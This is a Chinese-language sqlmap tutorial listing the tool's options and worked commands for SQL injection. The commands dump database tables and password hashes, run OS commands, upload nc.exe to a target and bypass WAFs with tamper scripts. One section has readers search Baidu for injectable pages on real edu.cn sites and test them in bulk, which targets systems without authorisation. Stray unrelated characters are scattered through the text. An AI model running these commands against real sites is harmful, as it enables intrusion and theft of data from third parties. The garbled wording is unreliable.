sqlmap是一個(gè)開(kāi)源的滲透測(cè)試工具,可以用來(lái)進(jìn)行自動(dòng)化檢測(cè),利用SQL注入漏洞想许,獲取數(shù)據(jù)庫(kù)服務(wù)器的權(quán)限河泳。它具有功能強(qiáng)大的檢測(cè)引擎,針對(duì)各種不同類型數(shù)據(jù)庫(kù)的滲透測(cè)試的功能選項(xiàng)沃呢,包括獲取數(shù)據(jù)庫(kù)中存儲(chǔ)的數(shù)據(jù),訪問(wèn)操作系統(tǒng)文件甚至可以通過(guò)外帶數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)命令拆挥。
sqlmap目前最新版本為1.1.8-8薄霜,相關(guān)資源如下:
官方網(wǎng)站:http://sqlmap.org/,
下載地址:https://github.com/sqlmapproject/sqlmap/zipball/master
演示視頻:https://asciinema.org/a/46601
教程:http://www.youtube.com/user/inquisb/videos
1.1 sqlmap簡(jiǎn)介
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數(shù)據(jù)庫(kù)的各種安全漏洞檢測(cè)纸兔。
sqlmap支持五種不同的注入模式:
l 基于布爾的盲注惰瓜,即可以根據(jù)返回頁(yè)面判斷條件真假的注入;
l 基于時(shí)間的盲注汉矿,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息崎坊,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷;
l 基于報(bào)錯(cuò)注入洲拇,即頁(yè)面會(huì)返回錯(cuò)誤信息奈揍,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中;
l 聯(lián)合查詢注入赋续,可以使用union的情況下的注入男翰;
l 堆查詢注入,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入纽乱。
1.2 下載及安裝
(1)linux下git直接安裝
gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
(2)windows下安裝
windows下下載sqlmap的壓縮包蛾绎,解壓后即可使用。但需要一些組件包的支持鸦列,需要有python2.7.x或者2.6.x環(huán)境支持租冠。
(3)kali及PentestBox默認(rèn)安裝sqlmap
1.3 SQL使用參數(shù)詳解
本文以SQLmap 1.1.8-8版本為例,對(duì)其所有參數(shù)進(jìn)行詳細(xì)的分析和講解敛熬,便于在使用時(shí)進(jìn)行查詢肺稀。
用法: sqlmap.py [選項(xiàng)]
1.3.1 選項(xiàng)
-h,–help 顯示基本幫助信息并退出
-hh 顯示高級(jí)幫助信息并退出
–version 顯示程序版本信息并退出
-vVERBOSE信息級(jí)別: 0-6 (缺省1),其值具體含義:“0”只顯示python錯(cuò)誤以及嚴(yán)重的信息应民;1同時(shí)顯示基本信息和警告信息(默認(rèn))话原;“2”同時(shí)顯示debug信息;“3”同時(shí)顯示注入的payload诲锹;“4”同時(shí)顯示HTTP請(qǐng)求繁仁;“5”同時(shí)顯示HTTP響應(yīng)頭;“6”同時(shí)顯示HTTP響應(yīng)頁(yè)面归园;如果想看到sqlmap發(fā)送的測(cè)試payload最好的等級(jí)就是3黄虱。
1.3.2 目標(biāo)
在這些選項(xiàng)中必須提供至少有一個(gè)確定目標(biāo)
-d DIRECT 直接連接數(shù)據(jù)庫(kù)的連接字符串
-u URL, –url=URL 目標(biāo)URL (e.g.”http://www.site.com/vuln.php?id=1“),使用-u或者–url
-l LOGFILE 從Burp或者WebScarab代理日志文件中分析目標(biāo)
-x SITEMAPURL 從遠(yuǎn)程網(wǎng)站地圖(sitemap.xml)文件來(lái)解析目標(biāo)
-m BULKFILE 將目標(biāo)地址保存在文件中庸诱,一行為一個(gè)URL地址進(jìn)行批量檢測(cè)捻浦。
-r REQUESTFILE 從文件加載HTTP請(qǐng)求晤揣,sqlmap可以從一個(gè)文本文件中獲取HTTP請(qǐng)求,這樣就可以跳過(guò)設(shè)置一些其他參數(shù)(比如cookie朱灿,POST數(shù)據(jù)昧识,等等),請(qǐng)求是HTTPS的時(shí)需要配合這個(gè)–force-ssl參數(shù)來(lái)使用盗扒,或者可以在Host頭后門加上:443
-g GOOGLEDORK 從谷歌中加載結(jié)果目標(biāo)URL(只獲取前100個(gè)結(jié)果跪楞,需要掛代理)
-c CONFIGFILE 從配置ini文件中加載選項(xiàng)
1.3.3 請(qǐng)求
這些選項(xiàng)可以用來(lái)指定如何連接到目標(biāo)URL
–method=METHOD 強(qiáng)制使用給定的HTTP方法(例如put)
--data=DATA 通過(guò)POST發(fā)送數(shù)據(jù)參數(shù),sqlmap會(huì)像檢測(cè)GET參數(shù)一樣檢測(cè)POST的參數(shù)侣灶。--data="id=1" -f --banner --dbs --users
–param-del=PARA.. 當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測(cè)試參數(shù)的時(shí)候需要用到此參數(shù)甸祭。
–cookie=COOKIE HTTP Cookieheader 值
–cookie-del=COO.. 用來(lái)分隔cookie的字符串值
–load-cookies=L.. Filecontaining cookies in Netscape/wget format
–drop-set-cookie IgnoreSet-Cookie header from response
–user-agent=AGENT 默認(rèn)情況下sqlmap的HTTP請(qǐng)求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent參數(shù)來(lái)修改,同時(shí)也可以使用–random-agent參數(shù)來(lái)隨機(jī)的從./txt/user-agents.txt中獲取褥影。當(dāng)–level參數(shù)設(shè)定為3或者3以上的時(shí)候池户,會(huì)嘗試對(duì)User-Angent進(jìn)行注入
–random-agent 使用random-agent作為HTTP User-Agent頭值
–host=HOST HTTP Hostheader value
–referer=REFERER sqlmap可以在請(qǐng)求中偽造HTTP中的referer,當(dāng)–level參數(shù)設(shè)定為3或者3以上的時(shí)候會(huì)嘗試對(duì)referer注入
-H HEADER, –hea.. 額外的http頭(e.g.”X-Forwarded-For: 127.0.0.1″)
–headers=HEADERS 可以通過(guò)–headers參數(shù)來(lái)增加額外的http頭(e.g.”Accept-Language: fr\nETag: 123″)
–auth-type=AUTH.. HTTP的認(rèn)證類型 (Basic, Digest, NTLM or PKI)
–auth-cred=AUTH.. HTTP 認(rèn)證憑證(name:password)
–auth-file=AUTH.. HTTP 認(rèn)證PEM證書(shū)/私鑰文件凡怎;當(dāng)Web服務(wù)器需要客戶端證書(shū)進(jìn)行身份驗(yàn)證時(shí)煞檩,需要提供兩個(gè)文件:key_file,cert_file,key_file是格式為PEM文件栅贴,包含著你的私鑰,cert_file是格式為PEM的連接文件熏迹。
–ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401錯(cuò)誤(未授權(quán)的)
–ignore-proxy 忽略系統(tǒng)的默認(rèn)代理設(shè)置
–ignore-redirects忽略重定向的嘗試
–ignore-timeouts 忽略連接超時(shí)
–proxy=PROXY 使用代理服務(wù)器連接到目標(biāo)URL
–proxy-cred=PRO.. 代理認(rèn)證憑證(name:password)
–proxy-file=PRO.. 從文件加載代理列表
–tor 使用Tor匿名網(wǎng)絡(luò)
–tor-port=TORPORT 設(shè)置Tor代理端口
–tor-type=TORTYPE 設(shè)置Tor代理類型 (HTTP,SOCKS4 or SOCKS5 (缺省))
–check-tor 檢查Tor的是否正確使用
–delay=DELAY 可以設(shè)定兩個(gè)HTTP(S)請(qǐng)求間的延遲檐薯,設(shè)定為0.5的時(shí)候是半秒,默認(rèn)是沒(méi)有延遲的注暗。
–timeout=TIMEOUT 可以設(shè)定一個(gè)HTTP(S)請(qǐng)求超過(guò)多久判定為超時(shí)坛缕,10表示10秒,默認(rèn)是30秒捆昏。
–retries=RETRIES 當(dāng)HTTP(S)超時(shí)時(shí)赚楚,可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次骗卜。
–randomize=RPARAM可以設(shè)定某一個(gè)參數(shù)值在每一次請(qǐng)求中隨機(jī)的變化宠页,長(zhǎng)度和類型會(huì)與提供的初始值一樣
–safe-url=SAFEURL 提供一個(gè)安全不錯(cuò)誤的連接,每隔一段時(shí)間都會(huì)去訪問(wèn)一下
–safe-post=SAFE.. 提供一個(gè)安全不錯(cuò)誤的連接寇仓,每次測(cè)試請(qǐng)求之后都會(huì)再訪問(wèn)一遍安全連接举户。
–safe-req=SAFER.. 從文件中加載安全HTTP請(qǐng)求
–safe-freq=SAFE.. 測(cè)試一個(gè)給定安全網(wǎng)址的兩個(gè)訪問(wèn)請(qǐng)求
–skip-urlencode 跳過(guò)URL的有效載荷數(shù)據(jù)編碼
–csrf-token=CSR.. Parameter usedto hold anti-CSRF token參數(shù)用來(lái)保存反CSRF令牌
–csrf-url=CSRFURL URL地址訪問(wèn)提取anti-CSRF令牌
–force-ssl 強(qiáng)制使用SSL/HTTPS
–hpp 使用HTTP參數(shù)污染的方法
–eval=EVALCODE 在有些時(shí)候,需要根據(jù)某個(gè)參數(shù)的變化遍烦,而修改另個(gè)一參數(shù)俭嘁,才能形成正常的請(qǐng)求,這時(shí)可以用–eval參數(shù)在每次請(qǐng)求時(shí)根據(jù)所寫python代碼做完修改后請(qǐng)求服猪。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)
sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
1.3.4 優(yōu)化
這些選項(xiàng)可用于優(yōu)化sqlmap性能
-o 打開(kāi)所有的優(yōu)化開(kāi)關(guān)
–predict-output 預(yù)測(cè)普通查詢輸出
–keep-alive 使用持久HTTP(S)連接
–null-connection 獲取頁(yè)面長(zhǎng)度
–threads=THREADS 當(dāng)前http(s)最大請(qǐng)求數(shù) (默認(rèn) 1)
1.3.5 注入
這些選項(xiàng)可用于指定要測(cè)試的參數(shù)供填、提供自定義注入有效載荷和可選的篡改腳本拐云。
-p TESTPARAMETER 可測(cè)試的參數(shù)
–skip=SKIP 跳過(guò)對(duì)給定參數(shù)的測(cè)試
–skip-static 跳過(guò)測(cè)試不顯示為動(dòng)態(tài)的參數(shù)
–param-exclude=.. 使用正則表達(dá)式排除參數(shù)進(jìn)行測(cè)試(e.g. “ses”)
–dbms=DBMS 強(qiáng)制后端的DBMS為此值
–dbms-cred=DBMS.. DBMS認(rèn)證憑證(user:password)
–os=OS 強(qiáng)制后端的DBMS操作系統(tǒng)為這個(gè)值
–invalid-bignum 使用大數(shù)字使值無(wú)效
–invalid-logical 使用邏輯操作使值無(wú)效
–invalid-string 使用隨機(jī)字符串使值無(wú)效
–no-cast 關(guān)閉有效載荷鑄造機(jī)制
–no-escape 關(guān)閉字符串逃逸機(jī)制
–prefix=PREFIX 注入payload字符串前綴
–suffix=SUFFIX 注入payload字符串后綴
–tamper=TAMPER 使用給定的腳本篡改注入數(shù)據(jù)
1.3.6 檢測(cè)
這些選項(xiàng)可以用來(lái)指定在SQL盲注時(shí)如何解析和比較HTTP響應(yīng)頁(yè)面的內(nèi)容
–level=LEVEL 執(zhí)行測(cè)試的等級(jí)(1-5,默認(rèn)為1)
–risk=RISK 執(zhí)行測(cè)試的風(fēng)險(xiǎn)(0-3近她,默認(rèn)為1)
–string=STRING 查詢時(shí)有效時(shí)在頁(yè)面匹配字符串
–not-string=NOT.. 當(dāng)查詢求值為無(wú)效時(shí)匹配的字符串
–regexp=REGEXP 查詢時(shí)有效時(shí)在頁(yè)面匹配正則表達(dá)式
–code=CODE 當(dāng)查詢求值為True時(shí)匹配的HTTP代碼
–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁(yè)
–titles 僅根據(jù)他們的標(biāo)題進(jìn)行比較
1.3.7 技巧
這些選項(xiàng)可用于調(diào)整具體的SQL注入測(cè)試
–technique=TECH SQL注入技術(shù)測(cè)試(默認(rèn)BEUST)
–time-sec=TIMESEC DBMS響應(yīng)的延遲時(shí)間(默認(rèn)為5秒)
–union-cols=UCOLS 定列范圍用于測(cè)試UNION查詢注入
–union-char=UCHAR 暴力猜測(cè)列的字符數(shù)
–union-from=UFROM SQL注入U(xiǎn)NION查詢使用的格式
–dns-domain=DNS.. DNS泄露攻擊使用的域名
–second-order=S.. URL搜索產(chǎn)生的結(jié)果頁(yè)面
1.3.8 指紋
-f, –fingerprint 執(zhí)行廣泛的DBMS版本指紋檢查
1.3.9 枚舉
這些選項(xiàng)可以用來(lái)列舉后端數(shù)據(jù)庫(kù)管理系統(tǒng)的信息叉瘩、表中的結(jié)構(gòu)和數(shù)據(jù)。此外泄私,您還可以運(yùn)行自定義的SQL語(yǔ)句房揭。
-a, –all 獲取所有信息
-b, –banner 獲取數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)識(shí)
–current-user 獲取數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前用戶
–current-db 獲取數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前數(shù)據(jù)庫(kù)
–hostname 獲取數(shù)據(jù)庫(kù)服務(wù)器的主機(jī)名稱
–is-dba 檢測(cè)DBMS當(dāng)前用戶是否DBA
–users 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶
–passwords 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶密碼哈希
–privileges 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶的權(quán)限
–roles 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶的角色
–dbs 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)數(shù)據(jù)庫(kù)
–tables 枚舉的DBMS數(shù)據(jù)庫(kù)中的表
–columns 枚舉DBMS數(shù)據(jù)庫(kù)表列
–schema 枚舉數(shù)據(jù)庫(kù)架構(gòu)
–count 檢索表的項(xiàng)目數(shù),有時(shí)候用戶只想獲取表中的數(shù)據(jù)個(gè)數(shù)而不是具體的內(nèi)容晌端,那么就可以使用這個(gè)參數(shù):sqlmap.py -u url –count -D testdb
–dump 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)表項(xiàng)
–dump-all 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)所有表項(xiàng)
–search 搜索列(S)捅暴,表(S)和/或數(shù)據(jù)庫(kù)名稱(S)
–comments 獲取DBMS注釋
-D DB 要進(jìn)行枚舉的指定數(shù)據(jù)庫(kù)名
-T TBL DBMS數(shù)據(jù)庫(kù)表枚舉
-C COL DBMS數(shù)據(jù)庫(kù)表列枚舉
-X EXCLUDECOL DBMS數(shù)據(jù)庫(kù)表不進(jìn)行枚舉
-U USER 用來(lái)進(jìn)行枚舉的數(shù)據(jù)庫(kù)用戶
–exclude-sysdbs 枚舉表時(shí)排除系統(tǒng)數(shù)據(jù)庫(kù)
–pivot-column=P.. Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 獲取第一個(gè)查詢輸出數(shù)據(jù)位置
–stop=LIMITSTOP 獲取最后查詢的輸出數(shù)據(jù)
–first=FIRSTCHAR 第一個(gè)查詢輸出字的字符獲取
–last=LASTCHAR 最后查詢的輸出字字符獲取
–sql-query=QUERY 要執(zhí)行的SQL語(yǔ)句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要執(zhí)行的SQL文件
1.3.10 暴力
這些選項(xiàng)可以被用來(lái)運(yùn)行暴力檢查
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
1.3.11 用戶自定義函數(shù)注入
這些選項(xiàng)可以用來(lái)創(chuàng)建用戶自定義函數(shù)
–udf-inject 注入用戶自定義函數(shù)
–shared-lib=SHLIB 共享庫(kù)的本地路徑
1.3.12 訪問(wèn)文件系統(tǒng)
這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層文件系統(tǒng)
–file-read=RFILE 從后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)讀取文件,SQL Server2005中讀取二進(jìn)制文件example.exe:
sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1
–file-write=WFILE 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)上的本地文件
–file-dest=DFILE 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)寫入文件的絕對(duì)路徑
在kali中將/software/nc.exe文件上傳到C:/WINDOWS/Temp下:
python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1
1.3.13 操作系統(tǒng)訪問(wèn)
這些選項(xiàng)可以用于訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層操作系統(tǒng)
–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令(OSCMD)
–os-shell 交互式的操作系統(tǒng)的shell
–os-pwn 獲取一個(gè)OOB shell咧纠,meterpreter或VNC
–os-smbrelay 一鍵獲取一個(gè)OOBshell蓬痒,meterpreter或VNC
–os-bof 存儲(chǔ)過(guò)程緩沖區(qū)溢出利用
–priv-esc 數(shù)據(jù)庫(kù)進(jìn)程用戶權(quán)限提升
–msf-path=MSFPATH MetasploitFramework本地的安裝路徑
–tmp-path=TMPPATH 遠(yuǎn)程臨時(shí)文件目錄的絕對(duì)路徑
linux查看當(dāng)前用戶命令:
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –os-cmd id -v1
1.3.14 Windows注冊(cè)表訪問(wèn)
這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)Windows注冊(cè)表
–reg-read 讀一個(gè)Windows注冊(cè)表項(xiàng)值
–reg-add 寫一個(gè)Windows注冊(cè)表項(xiàng)值數(shù)據(jù)
–reg-del 刪除Windows注冊(cè)表鍵值
–reg-key=REGKEY Windows注冊(cè)表鍵
–reg-value=REGVAL Windows注冊(cè)表項(xiàng)值
–reg-data=REGDATA Windows注冊(cè)表鍵值數(shù)據(jù)
–reg-type=REGTYPE Windows注冊(cè)表項(xiàng)值類型
1.3.15 一般選項(xiàng)
這些選項(xiàng)可以用來(lái)設(shè)置一些一般的工作參數(shù)
-s SESSIONFILE 保存和恢復(fù)檢索會(huì)話文件的所有數(shù)據(jù)
-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中
–batch 從不詢問(wèn)用戶輸入,使用所有默認(rèn)配置漆羔。
–binary-fields=.. 結(jié)果字段具有二進(jìn)制值(e.g.”digest”)
–charset=CHARSET 強(qiáng)制字符編碼
–crawl=CRAWLDEPTH 從目標(biāo)URL爬行網(wǎng)站
–crawl-exclude=.. 正則表達(dá)式從爬行頁(yè)中排除
–csv-del=CSVDEL 限定使用CSV輸出 (default”,”)
–dump-format=DU.. 轉(zhuǎn)儲(chǔ)數(shù)據(jù)格式(CSV(default), HTML or SQLITE)
–eta 顯示每個(gè)輸出的預(yù)計(jì)到達(dá)時(shí)間
–flush-session 刷新當(dāng)前目標(biāo)的會(huì)話文件
–forms 解析和測(cè)試目標(biāo)URL表單
–fresh-queries 忽略在會(huì)話文件中存儲(chǔ)的查詢結(jié)果
–hex 使用DBMS Hex函數(shù)數(shù)據(jù)檢索
–output-dir=OUT.. 自定義輸出目錄路徑
–parse-errors 解析和顯示響應(yīng)數(shù)據(jù)庫(kù)錯(cuò)誤信息
–save=SAVECONFIG 保存選項(xiàng)到INI配置文件
–scope=SCOPE 從提供的代理日志中使用正則表達(dá)式過(guò)濾目標(biāo)
–test-filter=TE.. 選擇測(cè)試的有效載荷和/或標(biāo)題(e.g. ROW)
–test-skip=TEST.. 跳過(guò)試驗(yàn)載荷和/或標(biāo)題(e.g.BENCHMARK)
–update 更新sqlmap
1.3.16 其他
-z MNEMONICS 使用短記憶法 (e.g.”flu,bat,ban,tec=EU”)
–alert=ALERT 發(fā)現(xiàn)SQL注入時(shí)梧奢,運(yùn)行主機(jī)操作系統(tǒng)命令
–answers=ANSWERS 當(dāng)希望sqlmap提出輸入時(shí),自動(dòng)輸入自己想要的答案(e.g. “quit=N,follow=N”)演痒,例如:sqlmap.py -u”http://192.168.22.128/get_int.php?id=1“–technique=E–answers=”extending=N” –batch
–beep 發(fā)現(xiàn)sql注入時(shí)亲轨,發(fā)出蜂鳴聲。
–cleanup 清除sqlmap注入時(shí)在DBMS中產(chǎn)生的udf與表鸟顺。
–dependencies Check formissing (non-core) sqlmap dependencies
–disable-coloring 默認(rèn)彩色輸出惦蚊,禁掉彩色輸出。
–gpage=GOOGLEPAGE 使用前100個(gè)URL地址作為注入測(cè)試讯嫂,結(jié)合此選項(xiàng)蹦锋,可以指定頁(yè)面的URL測(cè)試
–identify-waf 進(jìn)行WAF/IPS/IDS保護(hù)測(cè)試,目前大約支持30種產(chǎn)品的識(shí)別
–mobile 有時(shí)服務(wù)端只接收移動(dòng)端的訪問(wèn)欧芽,此時(shí)可以設(shè)定一個(gè)手機(jī)的User-Agent來(lái)模仿手機(jī)登陸莉掂。
–offline Work inoffline mode (only use session data)
–purge-output 從輸出目錄安全刪除所有內(nèi)容,有時(shí)需要?jiǎng)h除結(jié)果文件千扔,而不被恢復(fù)憎妙,可以使用此參數(shù),原有文件將會(huì)被隨機(jī)的一些文件覆蓋昏鹃。
–skip-waf 跳過(guò)WAF/IPS / IDS啟發(fā)式檢測(cè)保護(hù)
–smart 進(jìn)行積極的啟發(fā)式測(cè)試尚氛,快速判斷為注入的報(bào)錯(cuò)點(diǎn)進(jìn)行注入
–sqlmap-shell 互動(dòng)提示一個(gè)sqlmapshell
–tmp-dir=TMPDIR 用于存儲(chǔ)臨時(shí)文件的本地目錄
–web-root=WEBROOT Web服務(wù)器的文檔根目錄(e.g.”/var/www”)
–wizard 新手用戶簡(jiǎn)單的向?qū)褂茫梢砸徊揭徊浇棠闳绾屋斎脶槍?duì)目標(biāo)注入
1.4 實(shí)際利用
1.4.1 檢測(cè)和利用SQL注入
1.手工判斷是否存在漏洞
對(duì)動(dòng)態(tài)網(wǎng)頁(yè)進(jìn)行安全審計(jì)洞渤,通過(guò)接受動(dòng)態(tài)用戶提供的GET阅嘶、POST、Cookie參數(shù)值、User-Agent請(qǐng)求頭讯柔。
原始網(wǎng)頁(yè):http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
構(gòu)造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
構(gòu)造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1訪問(wèn)結(jié)果跟原始網(wǎng)頁(yè)一致抡蛙,而url2跟原始網(wǎng)頁(yè)不一致,有出錯(cuò)信息或者顯示內(nèi)容不一致魂迄,則證明存在SQL注入粗截。
- sqlmap自動(dòng)檢測(cè)
檢測(cè)語(yǔ)法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在實(shí)際檢測(cè)過(guò)程中,sqlmap會(huì)不停的詢問(wèn)捣炬,需要手工輸入Y/N來(lái)進(jìn)行下一步操作熊昌,可以使用參數(shù)“–batch”命令來(lái)自動(dòng)答復(fù)和判斷。
- 尋找和判斷實(shí)例
通過(guò)百度對(duì)“inurl:news.asp?id=site:edu.cn”湿酸、“inurl:news.php?id= site:edu.cn”婿屹、“inurl:news.aspx?id=site:edu.cn”進(jìn)行搜索,搜索news.php/asp/aspx推溃,站點(diǎn)為edu.cn昂利,
- 批量檢測(cè)
將目標(biāo)url搜集并整理為txt文件,所有文件都保存為tg.txt铁坎,然后使用“sqlmap.py-m tg.txt”蜂奸,注意tg.txt跟sqlmap在同一個(gè)目錄下。
1.4.2 直接連接數(shù)據(jù)庫(kù)
sqlmap.py -d”mysql://admin:admin@192.168.21.17:3306/testdb” -f –banner –dbs–users
1.4.3數(shù)據(jù)庫(kù)相關(guān)操作
1.列數(shù)據(jù)庫(kù)信息:–dbs
2.web當(dāng)前使用的數(shù)據(jù)庫(kù)–current-db
3.web數(shù)據(jù)庫(kù)使用賬戶–current-user
4.列出sqlserver所有用戶 –users
5.數(shù)據(jù)庫(kù)賬戶與密碼 –passwords
6.指定庫(kù)名列出所有表 -D database –tables
-D:指定數(shù)據(jù)庫(kù)名稱
7.指定庫(kù)名表名列出所有字段 -D antian365-T admin –columns
-T:指定要列出字段的表
8.指定庫(kù)名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username –dump
-D antian365 -T userb -C”email,Username,userpassword” –dump
可加雙引號(hào)硬萍,也可不加雙引號(hào)扩所。
9.導(dǎo)出多少條數(shù)據(jù)
-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump
參數(shù):
–start:指定開(kāi)始的行
–stop:指定結(jié)束的行
此條命令的含義為:導(dǎo)出數(shù)據(jù)庫(kù)tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容。
1.5 SQLMAP實(shí)用技巧
- mysql的注釋方法進(jìn)行繞過(guò)WAF進(jìn)行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,”/*!0%s” % word) 為:
return match.group().replace(word,”/!50000%s/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
為:
<castquery=”convert(%s,CHAR)”/>
(3)使用sqlmap進(jìn)行注入測(cè)試
sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它繞過(guò)waf腳本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目錄下文件具體含義:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引號(hào)
equaltolike.pylike代替等號(hào)
space2dash.py 繞過(guò)過(guò)濾‘=’ 替換空格字符(”)朴乖,(’–‘)后跟一個(gè)破折號(hào)注釋碌奉,一個(gè)隨機(jī)字符串和一個(gè)新行(’n’)
greatest.py 繞過(guò)過(guò)濾’>’ ,用GREATEST替換大于號(hào)。
space2hash.py空格替換為#號(hào),隨機(jī)字符串以及換行符
apostrophenullencode.py繞過(guò)過(guò)濾雙引號(hào)寒砖,替換字符和雙引號(hào)。
halfversionedmorekeywords.py當(dāng)數(shù)據(jù)庫(kù)為mysql時(shí)繞過(guò)防火墻嫉拐,每個(gè)關(guān)鍵字之前添加mysql版本評(píng)論
space2morehash.py空格替換為 #號(hào) 以及更多隨機(jī)字符串 換行符
appendnullbyte.py在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼
ifnull2ifisnull.py 繞過(guò)對(duì)IFNULL過(guò)濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替換為其它空符號(hào)
base64encode.py 用base64編碼替換
space2mssqlhash.py 替換空格
modsecurityversioned.py過(guò)濾空格哩都,包含完整的查詢版本注釋
space2mysqlblank.py 空格替換其它空白符號(hào)(mysql)
between.py用between替換大于號(hào)(>)
space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個(gè)破折號(hào)注釋一個(gè)新行(’ n’)
multiplespaces.py圍繞SQL關(guān)鍵字添加多個(gè)空格
space2plus.py用+替換空格
bluecoat.py代替空格字符后與一個(gè)有效的隨機(jī)空白字符的SQL語(yǔ)句,然后替換=為like
nonrecursivereplacement.py雙重查詢語(yǔ)句,取代SQL關(guān)鍵字
space2randomblank.py代替空格字符(“”)從一個(gè)隨機(jī)的空白字符可選字符的有效集
sp_password.py追加sp_password’從DBMS日志的自動(dòng)模糊處理的有效載荷的末尾
chardoubleencode.py雙url編碼(不處理以編碼的)
unionalltounion.py替換UNION ALLSELECT UNION SELECT
charencode.py url編碼
randomcase.py隨機(jī)大小寫
unmagicquotes.py寬字符繞過(guò) GPCaddslashes
randomcomments.py用/**/分割sql關(guān)鍵字
charunicodeencode.py字符串 unicode 編碼
securesphere.py追加特制的字符串
versionedmorekeywords.py注釋繞過(guò)
space2comment.py替換空格字符串(‘‘) 使用注釋‘/**/’
halfversionedmorekeywords.py關(guān)鍵字前加注釋
- URL重寫SQL注入測(cè)試
value1為測(cè)試參數(shù),加“*”即可婉徘,sqlmap將會(huì)測(cè)試value1的位置是否可注入漠嵌。
sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”
- 列舉并破解密碼哈希值
當(dāng)前用戶有權(quán)限讀取包含用戶密碼的權(quán)限時(shí),sqlmap會(huì)現(xiàn)列舉出用戶盖呼,然后列出hash儒鹿,并嘗試破解。
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1
- 獲取表中的數(shù)據(jù)個(gè)數(shù)
sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb
5.對(duì)網(wǎng)站secbang.com進(jìn)行漏洞爬去
sqlmap.py -u “http://www.secbang.com“–batch –crawl=3
6.基于布爾SQL注入預(yù)估時(shí)間
sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta
7.使用hex避免字符編碼導(dǎo)致數(shù)據(jù)丟失
sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors
8.模擬測(cè)試手機(jī)環(huán)境站點(diǎn)
python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile
9.智能判斷測(cè)試
sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart
10.結(jié)合burpsuite進(jìn)行注入
(1)burpsuite抓包几晤,需要設(shè)置burpsuite記錄請(qǐng)求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表單注入
sqlmap.py -u URL –data“username=a&password=a”
11.sqlmap自動(dòng)填寫表單注入
自動(dòng)填寫表單:
sqlmap.py -u URL –forms
sqlmap.py -u URL –forms –dbs
sqlmap.py -u URL –forms –current-db
